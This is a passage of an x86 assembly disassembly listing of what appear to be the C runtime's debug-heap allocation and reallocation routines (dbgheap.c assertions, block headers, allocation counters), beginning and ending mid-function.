cmp eax, 1
jnz short loc_41AD22
int 3 ; Trap to Debugger
loc_41AD22: ; CODE XREF: sub_41ACF0+12j
; sub_41ACF0+2Fj
xor eax, eax
test eax, eax
jnz short loc_41ACFE
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_41AD41
mov eax, [ebp+arg_0]
mov dword ptr [eax+0Ch], 0
jmp short loc_41AD68
; ---------------------------------------------------------------------------
loc_41AD41: ; CODE XREF: sub_41ACF0+43j
mov ecx, [ebp+arg_0]
push ecx
call sub_41F070
add esp, 4
mov edx, [ebp+arg_0]
push edx
call sub_41AD80
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_41F0E0
add esp, 4
loc_41AD68: ; CODE XREF: sub_41ACF0+4Fj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41ACF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AD80 proc near ; CODE XREF: sub_41ACF0+61p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
loc_41AD96: ; CODE XREF: sub_41AD80+3Ej
cmp [ebp+arg_0], 0
jnz short loc_41ADBA
push offset dword_4394FC
push 0
push 77h
push offset dword_4394E0
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41ADBA
int 3 ; Trap to Debugger
loc_41ADBA: ; CODE XREF: sub_41AD80+1Aj
; sub_41AD80+37j
xor ecx, ecx
test ecx, ecx
jnz short loc_41AD96
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41AE2A
mov ecx, [ebp+var_8]
push ecx
call sub_421720
add esp, 4
mov [ebp+var_4], eax
mov edx, [ebp+var_8]
push edx
call sub_4215E0
add esp, 4
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
call sub_4214B0
add esp, 4
test eax, eax
jge short loc_41AE06
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_41AE2A
; ---------------------------------------------------------------------------
loc_41AE06: ; CODE XREF: sub_41AD80+7Bj
mov edx, [ebp+var_8]
cmp dword ptr [edx+1Ch], 0
jz short loc_41AE2A
push 2
mov eax, [ebp+var_8]
mov ecx, [eax+1Ch]
push ecx
call sub_41B8F0
add esp, 8
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
loc_41AE2A: ; CODE XREF: sub_41AD80+4Dj
; sub_41AD80+84j ...
mov eax, [ebp+var_8]
mov dword ptr [eax+0Ch], 0
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41AD80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE40 proc near ; CODE XREF: seg000:004010C9p
; sub_402533+63p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, ds:dword_4EE9E4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41AEB0
add esp, 14h
pop ebp
retn
sub_41AE40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE60 proc near ; CODE XREF: sub_41B270+20p
; sub_41B330+26p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, ds:dword_4EE9E4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41AEB0
add esp, 14h
pop ebp
retn
sub_41AE60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE90 proc near ; CODE XREF: sub_41FD90+9p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41AEB0
add esp, 14h
pop ebp
retn
sub_41AE90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AEB0 proc near ; CODE XREF: sub_41AE40+13p
; sub_41AE60+19p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
loc_41AEB4: ; CODE XREF: sub_41AEB0:loc_41AF08j
push 9
call sub_421A80
add esp, 4
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41AF30
add esp, 10h
mov [ebp+var_4], eax
push 9
call sub_421B20
add esp, 4
cmp [ebp+var_4], 0
jnz short loc_41AEEF
cmp [ebp+arg_4], 0
jnz short loc_41AEF4
loc_41AEEF: ; CODE XREF: sub_41AEB0+37j
mov eax, [ebp+var_4]
jmp short loc_41AF0A
; ---------------------------------------------------------------------------
loc_41AEF4: ; CODE XREF: sub_41AEB0+3Dj
mov ecx, [ebp+arg_0]
push ecx
call sub_421970
add esp, 4
test eax, eax
jnz short loc_41AF08
xor eax, eax
jmp short loc_41AF0A
; ---------------------------------------------------------------------------
loc_41AF08: ; CODE XREF: sub_41AEB0+52j
jmp short loc_41AEB4
; ---------------------------------------------------------------------------
loc_41AF0A: ; CODE XREF: sub_41AEB0+42j
; sub_41AEB0+56j
mov esp, ebp
pop ebp
retn
sub_41AEB0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+8]
push eax
call sub_41AF30
add esp, 10h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF30 proc near ; CODE XREF: sub_41AEB0+1Ep
; seg000:0041AF1Dp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_C], 0
mov eax, ds:dword_44FA40
and eax, 4
test eax, eax
jz short loc_41AF7C
loc_41AF4C: ; CODE XREF: sub_41AF30+4Aj
call sub_41C000
test eax, eax
jnz short loc_41AF76
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 141h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41AF76
int 3 ; Trap to Debugger
loc_41AF76: ; CODE XREF: sub_41AF30+23j
; sub_41AF30+43j
xor ecx, ecx
test ecx, ecx
jnz short loc_41AF4C
loc_41AF7C: ; CODE XREF: sub_41AF30+1Aj
mov edx, ds:dword_44FA44
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
cmp eax, ds:dword_44FA48
jnz short loc_41AF91
int 3 ; Trap to Debugger
loc_41AF91: ; CODE XREF: sub_41AF30+5Ej
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 0
push 1
call ds:off_44FE20
add esp, 1Ch
test eax, eax
jnz short loc_41B014
cmp [ebp+arg_8], 0
jz short loc_41AFE7
loc_41AFBC: ; CODE XREF: sub_41AF30+B3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push offset aClientHookAllo ; "Client hook allocation failure at file "...
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 1Ch
cmp eax, 1
jnz short loc_41AFDF
int 3 ; Trap to Debugger
loc_41AFDF: ; CODE XREF: sub_41AF30+ACj
xor edx, edx
test edx, edx
jnz short loc_41AFBC
jmp short loc_41B00D
; ---------------------------------------------------------------------------
loc_41AFE7: ; CODE XREF: sub_41AF30+8Aj
; sub_41AF30+DBj
push offset aClientHookAl_0 ; "Client hook allocation failure.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41B007
int 3 ; Trap to Debugger
loc_41B007: ; CODE XREF: sub_41AF30+D4j
xor eax, eax
test eax, eax
jnz short loc_41AFE7
loc_41B00D: ; CODE XREF: sub_41AF30+B5j
xor eax, eax
jmp loc_41B23C
; ---------------------------------------------------------------------------
loc_41B014: ; CODE XREF: sub_41AF30+84j
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_41B036
mov edx, ds:dword_44FA40
and edx, 1
test edx, edx
jnz short loc_41B036
mov [ebp+var_C], 1
loc_41B036: ; CODE XREF: sub_41AF30+F0j
; sub_41AF30+FDj
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_41B047
mov eax, [ebp+arg_0]
add eax, 24h
cmp eax, 0FFFFFFE0h
jbe short loc_41B073
loc_41B047: ; CODE XREF: sub_41AF30+10Aj
; sub_41AF30+13Aj
mov ecx, [ebp+arg_0]
push ecx
push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
push 0
push 0
push 0
push 1
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41B066
int 3 ; Trap to Debugger
loc_41B066: ; CODE XREF: sub_41AF30+133j
xor edx, edx
test edx, edx
jnz short loc_41B047
xor eax, eax
jmp loc_41B23C
; ---------------------------------------------------------------------------
loc_41B073: ; CODE XREF: sub_41AF30+115j
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41B0C0
cmp [ebp+arg_4], 1
jz short loc_41B0C0
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_41B0C0
cmp [ebp+arg_4], 3
jz short loc_41B0C0
loc_41B09A: ; CODE XREF: sub_41AF30+18Ej
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 1
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41B0BA
int 3 ; Trap to Debugger
loc_41B0BA: ; CODE XREF: sub_41AF30+187j
xor edx, edx
test edx, edx
jnz short loc_41B09A
loc_41B0C0: ; CODE XREF: sub_41AF30+14Ej
; sub_41AF30+154j ...
mov eax, [ebp+arg_0]
add eax, 24h
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
call sub_421BE0
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41B0E5
xor eax, eax
jmp loc_41B23C
; ---------------------------------------------------------------------------
loc_41B0E5: ; CODE XREF: sub_41AF30+1ACj
mov edx, ds:dword_44FA44
add edx, 1
mov ds:dword_44FA44, edx
cmp [ebp+var_C], 0
jz short loc_41B143
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_4]
mov dword ptr [eax+0Ch], 0FEDCBABCh
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+14h], 3
mov ecx, [ebp+var_4]
mov dword ptr [ecx+18h], 0
jmp loc_41B1E3
; ---------------------------------------------------------------------------
loc_41B143: ; CODE XREF: sub_41AF30+1C8j
mov edx, ds:dword_4EE958
add edx, [ebp+arg_0]
mov ds:dword_4EE958, edx
mov eax, ds:dword_4EE960
add eax, [ebp+arg_0]
mov ds:dword_4EE960, eax
mov ecx, ds:dword_4EE960
cmp ecx, ds:dword_4EE964
jbe short loc_41B179
mov edx, ds:dword_4EE960
mov ds:dword_4EE964, edx
loc_41B179: ; CODE XREF: sub_41AF30+23Bj
cmp ds:dword_4EE95C, 0
jz short loc_41B18F
mov eax, ds:dword_4EE95C
mov ecx, [ebp+var_4]
mov [eax+4], ecx
jmp short loc_41B198
; ---------------------------------------------------------------------------
loc_41B18F: ; CODE XREF: sub_41AF30+250j
mov edx, [ebp+var_4]
mov ds:dword_4EE954, edx
loc_41B198: ; CODE XREF: sub_41AF30+25Dj
mov eax, [ebp+var_4]
mov ecx, ds:dword_4EE95C
mov [eax], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_8]
mov [eax+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_C]
mov [edx+0Ch], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov [eax+14h], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov [edx+18h], eax
mov ecx, [ebp+var_4]
mov ds:dword_4EE95C, ecx
loc_41B1E3: ; CODE XREF: sub_41AF30+20Ej
push 4
xor edx, edx
mov dl, ds:byte_44FA4C
push edx
mov eax, [ebp+var_4]
add eax, 1Ch
push eax
call sub_41D100
add esp, 0Ch
push 4
xor ecx, ecx
mov cl, ds:byte_44FA4C
push ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
lea ecx, [eax+edx+20h]
push ecx
call sub_41D100
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
xor eax, eax
mov al, ds:byte_44FA4E
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
call sub_41D100
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, 20h
loc_41B23C: ; CODE XREF: sub_41AF30+DFj
; sub_41AF30+13Ej ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41AF30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B250 proc near ; CODE XREF: sub_40DBFE+1Ep
; sub_40DBFE+37p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41B270
add esp, 14h
pop ebp
retn
sub_41B250 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B270 proc near ; CODE XREF: sub_41B250+11p
; sub_41EF20+40p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
imul eax, [ebp+arg_0]
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_41AE60
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41B2C9
mov edx, [ebp+var_8]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_41B2B0: ; CODE XREF: sub_41B270+57j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_4]
jnb short loc_41B2C9
mov edx, [ebp+var_C]
mov byte ptr [edx], 0
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_41B2B0
; ---------------------------------------------------------------------------
loc_41B2C9: ; CODE XREF: sub_41B270+2Fj
; sub_41B270+46j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_41B270 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B2D0 proc near ; CODE XREF: seg000:004010F1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41B2F0
add esp, 14h
pop ebp
retn
sub_41B2D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B2F0 proc near ; CODE XREF: sub_41B2D0+11p
; sub_41FDB0+50p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push 9
call sub_421A80
add esp, 4
push 1
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41B330
add esp, 18h
mov [ebp+var_4], eax
push 9
call sub_421B20
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41B2F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B330 proc near ; CODE XREF: sub_41B2F0+24p
; sub_41B870+24p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_14], 0
cmp [ebp+arg_0], 0
jnz short loc_41B363
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_41AE60
add esp, 10h
jmp loc_41B83A
; ---------------------------------------------------------------------------
loc_41B363: ; CODE XREF: sub_41B330+14j
cmp [ebp+arg_14], 0
jz short loc_41B386
cmp [ebp+arg_4], 0
jnz short loc_41B386
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41B8F0
add esp, 8
xor eax, eax
jmp loc_41B83A
; ---------------------------------------------------------------------------
loc_41B386: ; CODE XREF: sub_41B330+37j
; sub_41B330+3Dj
mov eax, ds:dword_44FA40
and eax, 4
test eax, eax
jz short loc_41B3C2
loc_41B392: ; CODE XREF: sub_41B330+90j
call sub_41C000
test eax, eax
jnz short loc_41B3BC
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 239h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41B3BC
int 3 ; Trap to Debugger
loc_41B3BC: ; CODE XREF: sub_41B330+69j
; sub_41B330+89j
xor ecx, ecx
test ecx, ecx
jnz short loc_41B392
loc_41B3C2: ; CODE XREF: sub_41B330+60j
mov edx, ds:dword_44FA44
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
cmp eax, ds:dword_44FA48
jnz short loc_41B3D7
int 3 ; Trap to Debugger
loc_41B3D7: ; CODE XREF: sub_41B330+A4j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 2
call ds:off_44FE20
add esp, 1Ch
test eax, eax
jnz short loc_41B45C
cmp [ebp+arg_C], 0
jz short loc_41B42F
loc_41B404: ; CODE XREF: sub_41B330+FBj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
push offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 1Ch
cmp eax, 1
jnz short loc_41B427
int 3 ; Trap to Debugger
loc_41B427: ; CODE XREF: sub_41B330+F4j
xor eax, eax
test eax, eax
jnz short loc_41B404
jmp short loc_41B455
; ---------------------------------------------------------------------------
loc_41B42F: ; CODE XREF: sub_41B330+D2j
; sub_41B330+123j
push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41B44F
int 3 ; Trap to Debugger
loc_41B44F: ; CODE XREF: sub_41B330+11Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_41B42F
loc_41B455: ; CODE XREF: sub_41B330+FDj
xor eax, eax
jmp loc_41B83A
; ---------------------------------------------------------------------------
loc_41B45C: ; CODE XREF: sub_41B330+CCj
cmp [ebp+arg_4], 0FFFFFFDBh
jbe short loc_41B48E
loc_41B462: ; CODE XREF: sub_41B330+155j
mov edx, [ebp+arg_4]
push edx
push offset aAllocationTooL ; "Allocation too large or negative: %u by"...
push 0
push 0
push 0
push 1
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41B481
int 3 ; Trap to Debugger
loc_41B481: ; CODE XREF: sub_41B330+14Ej
xor eax, eax
test eax, eax
jnz short loc_41B462
xor eax, eax
jmp loc_41B83A
; ---------------------------------------------------------------------------
loc_41B48E: ; CODE XREF: sub_41B330+130j
cmp [ebp+arg_8], 1
jz short loc_41B4D6
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_41B4D6
mov edx, [ebp+arg_8]
and edx, 0FFFFh
cmp edx, 2
jz short loc_41B4D6
loc_41B4B0: ; CODE XREF: sub_41B330+1A4j
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 1
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41B4D0
int 3 ; Trap to Debugger
loc_41B4D0: ; CODE XREF: sub_41B330+19Dj
xor eax, eax
test eax, eax
jnz short loc_41B4B0
loc_41B4D6: ; CODE XREF: sub_41B330+162j
; sub_41B330+170j ...
mov ecx, [ebp+arg_0]
push ecx
call sub_41C460
add esp, 4
test eax, eax
jnz short loc_41B507
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 261h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41B507
int 3 ; Trap to Debugger
loc_41B507: ; CODE XREF: sub_41B330+1B4j
; sub_41B330+1D4j
xor edx, edx
test edx, edx
jnz short loc_41B4D6
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jnz short loc_41B526
mov [ebp+var_14], 1
loc_41B526: ; CODE XREF: sub_41B330+1EDj
cmp [ebp+var_14], 0
jz short loc_41B56A
loc_41B52C: ; CODE XREF: sub_41B330+236j
mov edx, [ebp+var_8]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_41B541
mov eax, [ebp+var_8]
cmp dword ptr [eax+18h], 0
jz short loc_41B562
loc_41B541: ; CODE XREF: sub_41B330+206j
push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
push 0
push 26Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41B562
int 3 ; Trap to Debugger
loc_41B562: ; CODE XREF: sub_41B330+20Fj
; sub_41B330+22Fj
xor ecx, ecx
test ecx, ecx
jnz short loc_41B52C
jmp short loc_41B5CE
; ---------------------------------------------------------------------------
loc_41B56A: ; CODE XREF: sub_41B330+1FAj
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_41B58F
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 1
jnz short loc_41B58F
mov [ebp+arg_8], 2
loc_41B58F: ; CODE XREF: sub_41B330+248j
; sub_41B330+256j ...
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp eax, ecx
jz short loc_41B5C8
push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
push 0
push 272h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41B5C8
int 3 ; Trap to Debugger
loc_41B5C8: ; CODE XREF: sub_41B330+275j
; sub_41B330+295j
xor edx, edx
test edx, edx
jnz short loc_41B58F
loc_41B5CE: ; CODE XREF: sub_41B330+238j
cmp [ebp+arg_14], 0
jz short loc_41B5F9
mov eax, [ebp+arg_4]
add eax, 24h
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_421D10
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_41B5F7
xor eax, eax
jmp loc_41B83A
; ---------------------------------------------------------------------------
loc_41B5F7: ; CODE XREF: sub_41B330+2BEj
jmp short loc_41B61C
; ---------------------------------------------------------------------------
loc_41B5F9: ; CODE XREF: sub_41B330+2A2j
mov edx, [ebp+arg_4]
add edx, 24h
push edx
mov eax, [ebp+var_8]
push eax
call sub_421C60
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_41B61C
xor eax, eax
jmp loc_41B83A
; ---------------------------------------------------------------------------
loc_41B61C: ; CODE XREF: sub_41B330:loc_41B5F7j
; sub_41B330+2E3j
mov ecx, ds:dword_44FA44
add ecx, 1
mov ds:dword_44FA44, ecx
cmp [ebp+var_14], 0
jnz short loc_41B687
mov edx, [ebp+var_C]
mov eax, ds:dword_4EE958
sub eax, [edx+10h]
mov ds:dword_4EE958, eax
mov ecx, ds:dword_4EE958
add ecx, [ebp+arg_4]
mov ds:dword_4EE958, ecx
mov edx, [ebp+var_C]
mov eax, ds:dword_4EE960
sub eax, [edx+10h]
mov ds:dword_4EE960, eax
mov ecx, ds:dword_4EE960
add ecx, [ebp+arg_4]
mov ds:dword_4EE960, ecx
mov edx, ds:dword_4EE960
cmp edx, ds:dword_4EE964
jbe short loc_41B687
mov eax, ds:dword_4EE960
mov ds:dword_4EE964, eax
loc_41B687: ; CODE XREF: sub_41B330+2FFj
; sub_41B330+34Bj
mov ecx, [ebp+var_C]
add ecx, 20h
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
cmp eax, [edx+10h]
jbe short loc_41B6BF
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
sub edx, [ecx+10h]
push edx
xor eax, eax
mov al, ds:byte_44FA4E
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
add edx, [ecx+10h]
push edx
call sub_41D100
add esp, 0Ch
loc_41B6BF: ; CODE XREF: sub_41B330+369j
push 4
xor eax, eax
mov al, ds:byte_44FA4C
push eax
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
push ecx
call sub_41D100
add esp, 0Ch
cmp [ebp+var_14], 0
jnz short loc_41B6F9
mov edx, [ebp+var_C]
mov eax, [ebp+arg_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_10]
mov [ecx+0Ch], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_10]
mov [eax+18h], ecx
loc_41B6F9: ; CODE XREF: sub_41B330+3ACj
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
mov [edx+10h], eax
loc_41B702: ; CODE XREF: sub_41B330+40Bj
cmp [ebp+arg_14], 0
jnz short loc_41B737
cmp [ebp+arg_14], 0
jnz short loc_41B716
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_8]
jz short loc_41B737
loc_41B716: ; CODE XREF: sub_41B330+3DCj
push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
push 0
push 2A8h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41B737
int 3 ; Trap to Debugger
loc_41B737: ; CODE XREF: sub_41B330+3D6j
; sub_41B330+3E4j ...
xor edx, edx
test edx, edx
jnz short loc_41B702
mov eax, [ebp+var_C]
cmp eax, [ebp+var_8]
jz short loc_41B74B
cmp [ebp+var_14], 0
jz short loc_41B753
loc_41B74B: ; CODE XREF: sub_41B330+413j
mov eax, [ebp+var_4]
jmp loc_41B83A
; ---------------------------------------------------------------------------
loc_41B753: ; CODE XREF: sub_41B330+419j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx], 0
jz short loc_41B76B
mov edx, [ebp+var_C]
mov eax, [edx]
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
mov [eax+4], edx
jmp short loc_41B7A7
; ---------------------------------------------------------------------------
loc_41B76B: ; CODE XREF: sub_41B330+429j
; sub_41B330+46Aj
mov eax, ds:dword_4EE954
cmp eax, [ebp+var_8]
jz short loc_41B796
push offset a_plastblockPol ; "_pLastBlock == pOldBlock"
push 0
push 2B7h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41B796
int 3 ; Trap to Debugger
loc_41B796: ; CODE XREF: sub_41B330+443j
; sub_41B330+463j
xor ecx, ecx
test ecx, ecx
jnz short loc_41B76B
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov ds:dword_4EE954, eax
loc_41B7A7: ; CODE XREF: sub_41B330+439j
